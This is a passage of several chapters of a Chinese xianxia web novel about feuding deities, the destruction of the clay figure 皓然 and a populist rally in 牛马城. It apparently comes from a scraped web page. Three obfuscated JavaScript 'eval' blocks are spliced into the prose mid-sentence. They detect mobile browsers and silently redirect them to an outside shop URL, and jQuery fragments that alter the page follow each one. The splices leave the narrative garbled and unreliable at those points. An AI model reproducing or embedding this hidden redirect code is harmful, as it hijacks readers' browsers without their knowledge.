崔攸宁语气平静却透着几分坚持:“就一颗豌豆精,也敢自诩天鹅?若不是我父亲心善,早将你们这些后天神仙赶出桃源境。” 说罢,他将寝间大门从内锁上,施法剪去窗前烛光,暗邀甄婉共赴云雨。 甄婉是正儿八经的神仙,与崔攸宁这等耀祖正面对抗也能全胜。崔攸宁这种跳梁小丑在甄婉面前,正如蚍蜉之于长青古木,全然不自量力。 但这里是泥菩萨皓然的屋子,她若是发功必然会把这屋子损毁。她反手推开手边的窗户,纵身一跃,消失在竹林里。 甄婉为谨慎起见,同时给颜笙、窦不迟、崔瑶、元沁雪几位较为亲近的仙人发了通知,然后自己走到忘川上游,瞧见了泥菩萨皓然。 河水薄薄的一层,别的地方的河水都澄澈可见底,此河流是触手可摸到河床。皓然君在河边一块一块地捡起石头,仿佛这样河水就能走得更通畅一些。 甄婉将刚才发生的事告诉了泥菩萨皓然,然后又道:“鹄奴,别再做徒劳的事了。无论是河水还是无常界。我瞧着无常界很快就会迎来天罚,除了幽冥和火渊,其他地方怕是要和混沌界一样被毁灭重建。” 泥菩萨皓然站起,把石子递给甄婉:“师姐说,那该如何,无视祖宗丕业将摧?” 甄婉拎着石头,用力丢进河水里,溅出一大片水波。她说道:“你真若真拿陆家当你祖宗也好,至少把那眼界低到山沟子里的篡位者赶走。” 皓然君默然,佯装未闻此话。 “我急匆匆赶来是为通知你,崔攸宁已知你佯病离家之事,恐将对你不利。”甄婉气急,便把手中所有碎石,朝河水全力一掷:“既有机会,为何不放手搏一搏。” 石子四散,沉入河水里,翻出剧烈的水波,迸溅起的水花沾在河岸的汀草叶片上。 泥菩萨皓然看着水珠在叶片上滑动,等水珠坠地,消失得无声无息,他才出声感慨:“方才颜笙上神在有常屋,亦劝我或良禽择木,或……取而代之。” 甄婉听罢且笑道:“这就好办了。你是她造出来的,你也该当做双亲般侍奉,听之敬之而勿行懒。” 皓然君叹了一口气,他差点忘了,自己是颜笙赠予天道的那团泥偶,后来在天上吸了灵气才幻化成人形。 这么说来,其实颜笙既是他的父亲,也是他的母亲。 甄婉继续道德绑架他:“天律第一条,不孝乃元恶大憝。” 两人正说着,崔攸宁赶来,从背后挟持住甄婉,但甄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唯有那曾名为“皓然”的泥塑,彻底瘫散在泥淖之中,不仅失了人形,连原本的轮廓也一并被洪水抹去。 这里看不到他存在过的痕迹。 甄婉目光呆滞,眼睛淌着两行清泪,忽而发现那坨土好像不太对劲。 那坨土里怎么似乎混杂着桃源境的砂?她记得师父说过,这皓然是子颜当初在幽冥做成的,按理说这成分里只有幽冥土。 甄婉跪在那坨土面前,抓起一把,远远还能闻见花椒的气味。 她恍惚间抓起附近所有的幽冥土,急烈的疼痛从手背传来。 崔攸宁的木屐踩在上面,向下用力踩压,待甄婉因吃痛而抬头,便揪住她高悬的发髻,扯她到一边。 随后,他发狠地踹向那坨名为皓然的泥泞,似乎要将它的全部形状毁去。 崔攸宁有心魔,尤其是刚才望见崔攸霁的伞,整个人完全失控。 目光所及的泥土里忽而浮现出崔攸霁的脸,脸颊和睫毛结满冰霜,嘴唇冻得青紫,却洋溢着对他的嘲笑,以致于激起他更深的仇恨。 甄婉以法力勾住他的脖子,拖拽着他向后。他却像不怕脖子被勒断似的,仍是执着于碾踩那坨泥巴,木屐的根部深嵌湿滑的泥土,甄婉很难将其拔出来。 崔攸宁感到一股熟悉而讨厌的气息向他靠近,便抬起头,望向天空。 衣冠楚楚的崔攸霁站在云上,与旁边的窦不迟轻声交谈两句,视线始终不离地上发狂的兄长,眼神里透着怜悯,仿佛在看着一只可悲的丧家之犬。 明明讨厌的兄弟在云上,崔攸宁自我欺骗着那人在他的脚下,他愤恨地踩着泥土,盯着云端的人,仿佛在踩断他的脖子。 颜笙和窦不迟闻讯赶来,窦不迟跑到崔攸宁身后,一掌将他击昏在地。 57. 生命之源(二) 颜笙捡起地上破烂的招魂伞,见只剩下空荡荡的伞架,便丢给云端的崔攸霁:“我记得你许诺过保修一千年。” 崔攸霁接过那把伞,慢悠悠地降下云彩,说道:“我向来一诺千金,颜笙上神请放心。“ 颜笙道:“不过,我倒是有件事需要找你………你要不跟我一块过去。” “不必了。”崔攸霁婉言谢绝,又道:“父亲赐他蓄水之宝物,为他挪玄水以注忘川,没想到竟被他用来解决私人之恩怨。父亲得知此事,便叫我过来善后。“ 两人放眼过去。 窦不迟盯着那一地毫无生气的黄土,眼底充血,五指因用力过度而骨节青白。他再也按捺不住心中的戾气,发狠地挥刀斩下。 一道光霎那间袭来,击中窦不迟的弯刀,刀从手中震落,倒插在泥地里。 窦不迟和甄婉回头看,打断他的人竟是与崔攸宁向来不和的崔攸霁。 崔攸霁飞来,捡起崔攸宁散落的法器,“他终究是我兄长,还请各位海涵。” 他们两个是一母同胞,他自然不忍兄长死于旁人刀下。况且崔攸宁的身体残缺,还不是因为他…… 崔攸霁的目光落在崔攸宁那并不灵活的腿上,旧日的回忆浮现于脑海。 他仿佛回到那年的诛仙台前。他们两人的长兄崔攸险天生坏种,无缘无故将他推下诛仙台。 庆幸的是,崔攸宁及时赶到,一手拽着仙绳,一手抱着嚎啕的自己,缓慢地将他从深渊里抱出来。出来的时候,他的腿上布满鲜血。 也是因为这样,崔攸宁从此挨了父亲的嫌弃。 崔攸霁低头看着二哥崔攸宁,心头仿佛被疾行的车马反复碾压。 窦不迟哪管他的苦大仇深,仍执意挥刀削首。 甄婉一眼瞥见那破洞的法器,低声劝阻:“先放了他。法器已坏,崔巍短时间内不会再调玄水给无常。崔攸宁败局已定,翻不出多少浪花。崔攸霁愿意承情,日后或许更有用。” “先放了他?”窦不迟皱眉,“皓然的仇呢?他是我们两个看着长大的,就忍心看他蒙冤而死?” 甄婉严肃道:“我们如今在显熠宫做事,一举一动都代表显熠宫。你弑神,还要颜笙上神善后。” 这话说动了窦不迟,两人未再动。 崔攸霁扶起地上如烂泥般的兄长,一个清洁咒清理了他身上的泥土,又给颜笙递上自己的双鱼玉佩。 她敲了敲玉佩,对面传来崔瑶的声音:“颜笙上神,我义父想见你一面。” 颜笙听到这话看了眼窦不迟和甄婉,两人撇开视线,她便继续说道:“太忙。没有要事的话……” “爹,小面首的壳子也在这里!”圆胖橘的声音传来。 颜笙想了想,“那稍等一下,我过去找你们父子俩。” 陆贺年忽而说了句:“好。” 颜笙把玉佩还给了崔攸霁,之后便见崔攸霁离开了。 甄婉见崔攸霁离开,颜笙也要走,便问:“师娘,那皓然师弟给怎么办?他可是师父手底下最小的亲传弟子。” “你师父的弟子,不是只有你们两个?”颜笙道。 甄婉捧着地上敛起的沙土,“这不是您送给师父的定情信物?” 颜笙忽而想起来,刚才陆归年在幻境里给她的那个雕塑。她拿了出来,把它和那堆沙土混在一起。 她接过那捧土时,也闻见了泥土里混着花椒味,只是并未多想。那只是柔栀仙子遗留下的味道,这土大部分是从她那里拿到的。 * 忘川枯竭,再无孟婆汤可饮,等着投胎的幽魂排在鬼门关,焦躁地等待着。 牛马城自此无水可饮,而子母河的污水尚未排尽,依旧浑浊恶臭。 一时民怨沸腾,牛马们纷纷罢工抗议,“铮铮牛马,再创辉煌”的口号声在城中此起彼伏。 阳光本就难以透入的无常界,此刻乌云笼盖在穹顶,天地染上黑压压的色彩。 牛马城内人头攒动,他们提着烛火或油灯,空气里弥漫着燥热。 在千呼万唤声中,马大隆此时换上一副忧国忧民的沉痛面孔,身着一件粗布红衣,双手重重撑在檀木讲台上,那目光如鹰隼般掠过台下汹涌的牛马海洋。 “牛马们!无常是沿河发展起的城邦。如今三条河都毁了。这是天神的警告,是礼乐崩坏的象征!”马大隆的声音缓慢而洪亮,似是要让在场每个人听见。 台下传来低声议论,人挤着人,胸膛贴着后背,后背贴着胸膛,继续没有缝隙。 颜笙虽在现场,但不肯忍受这待遇,便是乘着云朵,坐在略高的位置。 圆胖橘的个头小,金建果抗在肩头,所以人群呼喊的唾沫星子没挨到圆胖橘的脸,倒是给金建果洗了脸。 马大隆慷慨陈词。 “瞧瞧崔家人带了什么?桃源人口,占领了我们无常鬼魂的地盘。他们带来五石散,带来了龙阳之好。” “冥王崔攸宁身居高位,却不曾寻贤抚民,终日耽溺于男色!男孩们读书多年得不到一官半职,涂脂抹粉,不男不女,却能位高权重!” 马大隆说着眼中含泪,猛然挥袖,指向远方巍峨的山川,“再看看我们的庠序都教了些什么?忤逆父母,不孝不悌,男孩进去了都变成女孩,女孩进去了变男孩。” “明德学府,不明明德于天下,浪费我们缴纳的税款。师与生的比例,竟高达五比一?冗杂无比,虚耗国库之财!” 人群中爆发出低沉的怒吼,一群牛马涨红了脖子,捂着自己的大肚子,赞同着马大隆的疯癫言语。 马大隆乘势而上,猛然抬手,一字一顿地喝道:“天灾无情,国难当头!” “牛马们,看看你们手上厚厚的茧,再看看滋源殿里那些人指甲缝里的金粉!他们说我们要‘环保’,要‘治污’,其实就是想让你们连口浑水都喝不上,好把我们的马场变成他们像来福村那样的神仙后花园!” 人群沸腾了,愤怒的喊声此起彼伏,仿佛连沉沉的乌云都被震得颤动。 “无常界河道的治污的补贴被挪用,这不仅危害了整个无常界的安定,也让百姓深受其害!”马大隆的声音在广场上回响。 在台下的颜笙听到这里,心头冷笑。 不是他自己不想治理河污的,这会儿怎么成了无常不让他治污?他将全部过错巧妙地外移,将矛盾推向崔攸宁。 颜笙再转头看姚蜚声,她早已飞到台前。 姚蜚声反驳:“学生足有八万,教职工不过两万三,你这账算得可真不精准!” “当年我要与老师见上一面都需排队一个多月,哪来的冗杂?” 马大隆闻声,目光落在姚蜚声身上,还以为是花否,便语带讥讽:“这不有常屋的骨头精花否?只读过《兔园策》就敢出来指点江山?” 《兔园策》是孩童启蒙识字的书籍,马大隆嘲讽她连三五岁孩童都不如。 台下的牛马哈哈大笑。 颜笙走出来,喊道:“书院里的先生们不仅传道受业解惑,还需编纂书目,整理典籍。礼乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190786|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书射哪个又没有损耗,桃源这些教具坏了也要自己修缮?庠序之大,岂容你妄言?” 她指了指姚蜚声,“还有,她是姚蜚声。严格说来,是前任的幽冥城主。” 人群中发出爆笑:“姚蜚声已经故去万年了,真是自不量力,竟敢谎称是她。” 姚蜚声看向前排讥笑的牛马,一一点出他们的姓名和进入无常界的时间。前排皆是牛马村资历深的老人,他们均在花否进入无常界,极少有人能道全他们的名字。 牛马们目瞪口呆,莫不是姚城主真回来了? 颜笙终于从人群中看到圆胖橘,朝他的方向施法。圆胖橘突然飘起来,飞到舞台上方,一屁股摔到颜笙脚边。 她把圆胖橘拎起来,“练功时候偷懒,还好意思装牛马?” 圆胖橘满脸堆笑:“这不是家里没人在,所以无事可做。” “你刚不是在你嫡长爹那里?”颜笙挖苦道,“听说你欺负小陆析了?” 圆胖橘瞅着颜笙道:“他怎么还告状?我没有……就让假陆析给陆贺年执妾礼而已。” “算了,以后慢慢说。“颜笙揉了揉圆胖橘的肉脸,“以后在陆析面前,你少厚此薄彼。现在的你,和我们谁都没有血缘关系。” “明白了,您就是我唯一的爹。“圆胖橘满口答应道。 有人看清楚闹事几人的脸,指着颜笙惊呼道:“这不是那位上神吗?” “看着像子颜,就是总跟着姚蜚声的那女孩。”有位牛马城老人忽而道。 一时人群哗然。周围人渐渐开始相信,刚才那个闯入自称姚蜚声的人,似乎真的是姚蜚声。 姚蜚声回来了。 马大隆见势不妙,赶忙说:“既然姚城主回来了,那么您评评理。这冥王殿是不是不像话。” 姚蜚声本来也对冥王殿不满,但考虑到颜笙和崔家还没正式撕破脸,只说:“此事须我和上神讨论后再议。” “你先处理这里的事吧。我去一趟陀铃火渊,回头晚上再碰面。”颜笙说完这句,带着圆胖橘离开了。 姚蜚声重新走上讲台,对着台下的牛马喊话:“我始终相信百姓对善恶自有判断,希望你们能不因说话者的身份而偏颇;亦不可因信任一人,便盲从其所有观点。” …… * 颜笙和圆胖橘来到陀铃火渊入口,大门一瞬间开满了凝烟寒蝉花,说着:“欢迎夫人和少爷归来。” 仆人们将颜笙引入渊内,说起来颜笙和陆贺年只住过一阵子幽冥城主殿,还从未进过这里。 这里本该是黑暗的,但沿途到处都点着烛火,里面灯光如昼,空气中隐隐有股焦味,被凝烟寒蝉花的香气覆盖。 要说这里和外面有什么区别,大概是温度较暖,或许是因为里面是熔浆得缘故。 看得出来,陆贺年为了迎接她,颇费了一番心思。 奴仆引他们进入陆贺年的书房,并向颜笙表示,陆贺年特地把她需要的东西摆在了书房。 刚一进门,颜笙就瞥见了角落醒目的东西。 陆析的皮囊静静地躺着,睡得极为安详,也不知他的皮囊是怎么跋山涉水跑到了陆贺年这里。 陆析的魂魄归位,如同冰冷的石像注入了生机。他缓缓掀开眼帘,虽然意识已经清醒,但长久离魂的躯壳还带着几分难以伸展的僵涩。 书架后面走出来一位女子,穿着却不像是婢女。 “这又是谁?”颜笙吓了一跳,退到一株大叶绿植后面,仰头看了看头顶。 58. 生命之源(三) “我啊。”女子赶忙把颜笙从绿叶下拉出来,又欣喜地指了指自己的脸:“我是花否呀。颜笙上神,我终于有自己的身体了。” 颜笙一问才知道,先前颜笙等人被关在玻璃球的幻境里,花否吓得跑去找陆贺年帮忙。 陆贺年听闻原委,竟毫不犹豫地提出愿以他那威震三界的魔头嗓音,去换回子颜被典当的嗓音。 花否确有动心,不过这桩交易终究是没做成。 天上的危冥星君忽而下凡,闯入幽冥宝殿,说有要事与陆贺年相商。 花否也不知道他们具体详谈的内容,只知道危冥星君出来后,给她一枚丹药。她服用之后,在干枯的白骨上竟然生出了血肉,而血肉之上又生出了一套漂亮皮囊。 危冥星君看她皮囊长出来,又请求她占卜,算出自己妻子的位置。 花否很快便占算出了结果,困惑地戳了戳下巴:“逝水世界?那里目前正处于乱世,女人如衣服,怎会有女仙人想要投胎到那里修炼?” “不过还好,她投生的那户人家在江东,是当地开酒楼的富户。而且江东的国运还有八十多年,战争暂且不会波及她家。” 花否悬着的心终于放下,从思绪里抽离时,才发现危冥星君已经不见了。 颜笙听完花否的描述,便知是袁思邈担心柔栀仙子的安危,进入逝水世界去做护花使者去了。 这时候花否已经带着圆胖橘和陆析离开了。 陆贺年走出来,从背后抱住正在思考的颜笙,颜笙刚想挣一下,他却收紧了腰间环绕的手臂。他头一偏,吻在颜笙脸颊。 一股淡淡的花椒气味隐隐传来。 陆贺年忽而推开颜笙,打了个喷嚏,他的脸颊泛起了细小的红疹,他轻声问道:“这是哪里的花椒?” 颜笙抬起袖子,放到鼻尖果然闻见一股花椒味。她想起陆贺年对花椒过敏,至于她身上的花椒味。她看向放在不远处的桌面,摆着装有皓然残骸的袋子。 “里面装的是冥王副手,原本是我捏的泥偶,也不知怎的有花椒味。”颜笙边解释,边给身上加了清洁咒。 陆贺年又向前小心翼翼地靠近,那股惹人厌的花椒味消失,但由于心有余悸,他也不敢再大胆与颜笙亲密,只是站在较近的位置,又询问道:“他不是早就化形,怎么会变成这样?” “他被崔攸宁杀了,用的还是忘川水。”颜笙把今日在外面发生的事都说给了陆贺年,“他是泥人,自然被忘川水融化了。” 陆贺年听完感慨:“这些年忘川一直奄奄一息,却未尝干涸,盖因崔巍调玄水填补。最近听闻忘川干涸了,还纳闷崔巍这么重视香火的人,竟不帮衬他的‘单传香火’?” 颜笙笑道:“都说崔家是香火服了,只注重上层阶级的香火传递,哪里管底层牛马的死活?” * 时间荏苒,半个月过去 由于陆贺年和颜笙两方施压,和颇有威望的姚蜚声回归站台,马大隆再也不敢阻挠马五福的铺子开张。这真是极大讽刺,他们也只是为了公平发声,却动用了特权。不管怎么说,目的是达成了。 马五福的马鞍铺子重新开张,当日马大隆也来到现场剪彩,和马五福宣布,他们两人将共同肩负起净化子母河的担子。当日马小灵和生母马大枫,也挽手出席剪彩仪式,母女两个亲密无间,尽管马大隆有心求和,但两人始终没有理睬马大隆。 马小灵与父亲的关系并未好转,不过,马小灵也想开了,也不再追寻父亲的认同,有母亲和“正常人”的认同就好了。剪彩当日,她给陆析等人手写了通关证明。 抱朴小分队的人总算完成了任务,剩下的时间他们打算去幽冥逛逛。陆析去过幽冥太多次,并没有多大兴趣,当日便带着圆胖橘自己回到了抱朴派。 虽说抱朴派的任务完结了,但无常界的危机仍未有所缓解。忘川依旧枯竭,等待投胎的幽魂愈聚愈多,队伍绵延不绝。马大隆仍未清洁子母河,牛马城内随处皆是“铮铮牛马,再创辉煌”的口号。 在这段日子里,颜笙为复原泥菩萨而付出不懈努力,可这泥像始终一动不动。 崔巍知道崔攸宁闯下大祸,仍有心偏袒,勒令他在家中闭关八十一日,不容许他再插手任何事务。崔巍盼着玄水重生,好再借点水给他填补窟窿,还能怎么办呢?也只能是这样了。崔巍殚精竭虑,却也无可奈何。 崔攸宁在家里憋得苦闷,声色犬马也不能使得他感到快乐。幸好有知冷知热的紫苏仙君陪伴左右,使得他的心情略微畅顺些。 紫苏仙子长相并不隽朗,但胜在极会打扮。他的仪态有点端着,和颜笙以及崔攸霁有点像,但程度没他们深——只有下巴时刻绷紧,脖子倒是没有落枕。 这日,两人叠股而坐,正欲交觞而饮,信使突然闯入,说是崔攸霁来访,还带来了桃源神尊的旨意。一问才知,崔巍将忘川重新注水的职责,全权交给崔攸霁。至于崔攸宁,什么都不需要做,只需在家中静候事成。 崔巍表面是体恤他,却把无常的事分给崔攸霁,这不摆明崔攸霁才是他最看中的儿子,而他这个儿子不过摆设而已? 偏巧紫苏今日的打扮,有几分神似崔攸霁,导致崔攸宁看见他,心情更是差到极致。崔攸宁粗暴捏着紫苏的手腕,服侍自己喝下酒,最后把酒觴一扔,把紫苏压在桌上,欲行某事。 紫苏未觉察崔攸宁不悦,平时崔攸宁待他也总是时冷时热,一会儿温情脉脉,一会儿粗暴得仿佛他做了什么对不起他的事。后者的情况很常见,大抵是崔攸宁在崔攸霁那里吃了憋。 紫苏早已习惯了,但也不想自己身体受伤,便稚声称呼崔攸宁一声:“二哥哥。”他知道,崔攸宁这时候就像野兽,需要稍微在安慰一下。 果不出所料,在紫苏唤完“二哥哥”,崔攸宁紧蹙的眉头缓缓舒展,脸上的愁云逐渐消散放晴。他单臂横抱起紫苏仙君,一同隐入不远处的暖帐。 欢尽之后,紫苏仙君精疲力竭地趴在枕上。 崔攸宁倚在床头小酌,突然说起前段日子遇到“双身”甄婉的事,说完又紧跟着一句感慨:“仅有娥皇在侧,我是该认命?” 娥皇女英是虞舜身边的贤内助,紫苏仙君听得出他言外之意,是觉得身边只有他一个还不够。他顺着话表示:“缺一不可。少一个如何能使四门穆穆?” 对紫苏而言,冥王殿里多一个侍君少一个侍君也没什么区别。无常界的男人向来不值钱,他的待遇和姚蜚声那些男宠相比,又能好到哪里?他扮演崔攸霁扮得久了,早在心里把自己比作了崔攸霁,自恃自身地位不可撼动,也没把甄婉当成对手。 “殿下若是想娶那个阴阳人,我倒是有办法。”紫苏笑道。 “什么办法?”崔攸宁连忙问。 紫苏在崔攸宁耳边低语,引得崔攸宁心悦大笑。 * 自从忘川衰竭,无常居民苦不堪言。幸好陆贺年开启幽冥的应急水库,施水于无常居民,因而无常暂时风平浪静,并未引发任何祸乱。只是,幽冥水并不具备荡涤记忆的作用,牛马城的牛马们饮用完该水,突然生出了自己的意识。 牛马们隔日再也无法忘记前日的辛苦,忽然间,他们发现自己似乎一年四季全年无休地劳作,好像从来没有放过一天假。一同生出的不仅是难以忘却的劳累,更是觉醒带来的痛苦。若是牛马城每个人都是毫无希望,尚且还能麻木不仁地活着,可这里思想割裂,总有人诸如马小灵,又比如姚蜚声,让他们无法忽视痛苦。 由此,民怨越来越大,他们在牛马城集结示威,加入他们的牛马也越来越多。 牛马们是不该喝忘川水的人,而需要忘川水忘前尘的人,比如那些需要投胎的灵魂,因为没有忘川水帮他们忘记前尘,也无法顺利投胎。鬼门关前无法投胎的鬼魂越来越多,通道越来越拥挤。有些鬼魂放弃在渡口等待,转头踏入无常领地,成为无家之游魂,无常居民对无常治安产生巨大焦虑。 崔巍知道这点,觉得眼下干等着玄水也不是办法,便派人去冥王殿打探崔攸宁的反省情况,结果发现这块烂泥毫无悔改之意,仍在家里和姘头们取乐。 这下让幽冥抢了风头。 幽冥界向来和其他界不通消息,崔巍对幽冥知之甚少,以为姚蜚声故去后,幽冥城早沦为无主之城,成为名副其实的不毛之地,可现在看起来,这幽冥比无常界甚至混沌界还要繁荣。 这次崔巍想到崔瑶出身幽冥,便把她叫来询问幽冥放水一事。 崔瑶低头思考一二,心说崔巍是想探幽冥的底,她不打算把幽冥完全暴露出去,便扯谎道:“幽冥啊?我知道的不也不多,离开太久了呢。这次施水,应该城中百姓自发的善举。” 崔巍不屑地一瞥,“幽冥多为玄鸟堕民,早前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195847|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屠戮同类,滥杀耕牛,桑间濮上,俱是恶徒。” 这话极不客气,桑间濮上这词,把崔瑶也连带骂了进去。谁都知道崔瑶是姚蜚声和崔攸霁非婚所生。 崔瑶脸青一阵红一阵,心说这都什么年代了,还父母媒妁那套?她想反驳,但想起崔攸霁叮嘱过她切不可与崔巍顶嘴,只得咬着下唇,隐忍怒火。 如今颜笙仍为泥菩萨皓然奔波,对外说是仍在显熠宫里闭关。在这关头下,她万不可给显熠宫惹麻烦。 崔巍看见崔瑶一改往日的修罗脾气,顿时语塞。虽说崔巍瞧不起崔瑶,但看到她有所长进,赞叹崔攸霁教育得好,不禁有点宽慰。 不过他此番找崔瑶过来,并非打听幽冥城主这么简单。 崔巍问:“外面盛传,说你长期去幽冥并非为见义父张脆枣,而是为见情郎?” “怎么可能?”崔瑶矢口否认,心说这是把她和元沁雪搞混了。 崔巍道:“不少人在无常撞见你和年轻男子同行。而甄婉是半男半女,是她用男身和你见面?” 崔瑶皱眉,她和甄婉根本不熟,只觉得传言来得莫名其妙,便说:“无稽之言。我与她在无常界从未碰面过。” 崔巍没立刻回应,忽而手中浮现一条红线,他把红绳丢给了崔瑶:“这是前几日在良缘阁找到的。” 崔瑶看着红线上面的字,标着混沌陆析与桃源颜笙,姻缘祝福者为甄婉。 崔巍道:“我查到这则姻缘来自你负责的庙里。所以,你们两个擅动上神之姻缘,致使颜笙和崔攸宁的命定姻缘被毁,该当何罪?” * 在陀铃火渊的日子里,她被泥土的花椒味裹得严严实实。陆贺年对这味道向来过敏,颜笙为了他的性命着想,只得抱着那堆土撤离火渊,绕道去了幽冥找姚蜚声落脚。 谁知姚蜚声做懒蝉做得太久,本就人有点迷糊蛋了。跟崔攸霁闹翻后,她又像以前一样爱喝酒。某天喝的醉醺醺的,竟把陆归年留给颜笙的那尊完整泥偶给打翻了。无奈,这泥像还得重头再捏。 圆胖橘回来时,瞥见颜笙端坐在他屋里,他赶紧把手里攥着的小鱼干藏进四象袋里,然后才慢悠悠走到颜笙身边。 “爹,你不是在陀铃火渊里?怎么跑这里来了?” “找灵感。”颜笙没抬头,只指了指书桌,“你这里的风水不错,文昌位正旺。” 她心底却想的是另一件事—— 或许陆归年还藏在陆析身上,万一他出来了,说不定能指点她一二。 颜笙心一横,手指沾了点清晨的花露,动手捏了捏泥巴。 “爹,刚才——” 圆胖橘的声音戛然而止。一股浓郁的薄荷香气逼近。 颜笙手仍按在泥巴上,转头察看门口。 陆析的手按在圆胖橘的嘴巴上,小声一嘘,“莫要扰她思绪,我们先下去。有事的话,可以等她待会休息时再说。” 颜笙见陆析上来,顺势命令道:“圆胖橘先下去,陆析你留下来。我觉得你最近头带着紫气,运势极旺,我蹭蹭运气,说不好有些灵感。” 陆析无奈,只好坐在旁边。 颜笙沾满泥浆的纤手带起胳膊摆动,袖里清幽宜人的白蝉花香气攀上他的鼻尖。 密闭的空间里,仅有窗纸透过的微弱阳光,五感比在烈日下更加敏锐。周围在暗光之中皆是虚化的,近在咫尺的人,轮廓却是清晰的。 尤其是和心仪之人共处一室。 陆析悄悄调理呼吸,视线落到颜笙手中的不成形的泥土上。他忽产生荒谬的想象,仿佛她细嫩的双手,此刻是在他身上摩挲。 他伸手,在即将要碰到白皙手背时,颜笙转头看他。他只好移开手,去碰那团泥巴,指甲整齐而洁净的手指划过人偶的眉弓:“皓然君性情外顺内健,眉尾该高一点。” 颜笙忽觉脸侧微痒,才觉察是陆析的一缕碎发蹭着她的肌肤。他的手掌比初见时温暖,手指在泥土游走时,轻柔蹭过她略显冰凉的手。 她看出了陆析对自己的心思,可惜陆析仅是个凡人修士,没有陆归年的地位,也没有陆贺年的法力。对她而言,她需要战友,能帮她在上神的位置坐稳,否则,再多动心也只能停留在动心。 泥土在交叠的指缝间逐渐成形,显现出清晰的轮廓。 残阳将两人的影子拉长,投映在未成型的泥像上。 59. 生命之源(四) 窗外黄鸟靠在草木丛生的小山丘上,叽叽喳喳地鸣叫。 昏黄的光线下,颜笙侧目瞧着陆析,模样虽不及他二哥惊艳有韵致,但也称得上端正耐看,一看就是适合过日子的男子。 他的脊背绷得僵硬如一把拉满的弓,虽睁着眼睛,却像入定似的。 颜笙耳边忽响起低沉的声音。 “贤者无使欲牵,圣者视若不见,得道者见之如蜮。” 他的声音清冷,语速不疾不徐,每个字都念得格外清晰。宛若泠泠泉水,从她头顶浇下来,把她心头刚升起的小火苗浇灭。 颜笙:? 这不是《鹤心经》的章句吗?鹤冲派祖传的清心遣欲的经文! 谁会和自己心爱女子相处时,在她面前念《鹤心经》? 颜笙腹诽半天,跟个缩头鹌鹑似的坐回去,老实巴交地听完整篇经文。 不得不说天道发明的东西就是好,听完提神醒脑、清心止欲,她整个人飘飘然,内心久久地平静! 颜笙偏头瞪向角落,突然明白这是怎么回事了。 这屋里竟摆着她的神像。 此屋是圆胖橘的屋子,角落里的神像还是她送的,那孝顺的小东西还在屋里点了香。只要她在屋子里,所有人的心声自然能够流入她耳中。 不过,陆析平日守心守得好好的,从未在她神像前暴露过心思。她到后来听黍三刀说,才知道抱朴派就属他最虔诚,供应给她的香火最多。但是,他从未向她许愿过。 怎么他今日藏不住了,心声就飘出来? 难不成是故意的为了让她听见?这是向她告白了? 颜笙尴尬地低下头,假装什么都没听见,盯向刚捏出来的泥像。 一炷香时间过去。 这泥像一动不动的,静静地站在桌面上。 颜笙与陆析感慨:“这就是一个普通泥像,里面空荡荡的,没有任何灵魂。以前能够动起来,八成是在天道给他注入了什么灵气,所以有了灵魂。” 她故意提及天道,试图让潜伏在陆析身上的陆归年再度觉醒。不过陆析依旧用他那双符合老实人长相的单纯眼睛看着她。 她只得吐了口气,心说陆归年或许真的不在了,玻璃球里承认自己附身陆析的那个陆归年,或许只是她自己的幻想。 可若是幻想,那尊泥像为何又能出现在自己身边。 陆析看颜笙一直愣神,笨拙地附和:“或许是他命该如此。不如我们替他好生安葬了吧。” 才说着,他顿感头疼,不由得抚上太阳穴。陆归年的意识涌上来,而不属于他的记忆画面,不断翻涌上脑海。 陆析仿佛看见自己坐在显熠殿内,看着桌面上的皓然的泥像,和刚才在颜笙手里的那枚一样,一动不动,仿佛个普通的泥塑。 年轻模样的男装甄婉,拿来一幅颜笙的画像,递给了他。在他展开画卷的刹那,他觉察到附近有目光,在窥探这里。 他转头时,那泥像如故。他留了个心眼,假装去看画像,又迅速转头去看泥像,发现那泥像没来得及收神。 “别装睡。”陆归年的手按上那泥像的头,那泥像吐了吐舌头,睁开了双眼。 陆归年道:“你还差一滴血,生不出躯体,只能化成泥身。可惜,造出你的人已经离开,未竟她的许可,我也无权用我的血。” …… 颜笙离开了屋子。她心头闷闷的,费了半天劲人没救回来,便到走到屋外透口气。 圆胖橘看见颜笙走下来,从兜里掏出一颗橘子,忍痛割爱一瓣,递给了颜笙:“爹,吃点橘子,顺顺气?” 颜笙接过橘子,看着安慰自己的小家伙,抱歉地说道:“可惜了,没能给你添个兄弟。” “别,可别!”圆胖橘一脸惊恐,“我可不想和人去玄武门互砍。”他紧张兮兮地表示:“我肯定是被砍死的那个!” 颜笙揉了揉圆胖橘脑袋,“想得美,咱家没皇位继承,现在也不兴皇帝太子那套。” “混沌界没有三皇五帝,无常和桃源依旧有。”陆析走下楼梯,加入两人的讨论,又递给颜笙一个小瓶。 颜笙接过小瓶时,被瓶口划伤,赶紧丢到一边,“你故意的?是想采我的血?” 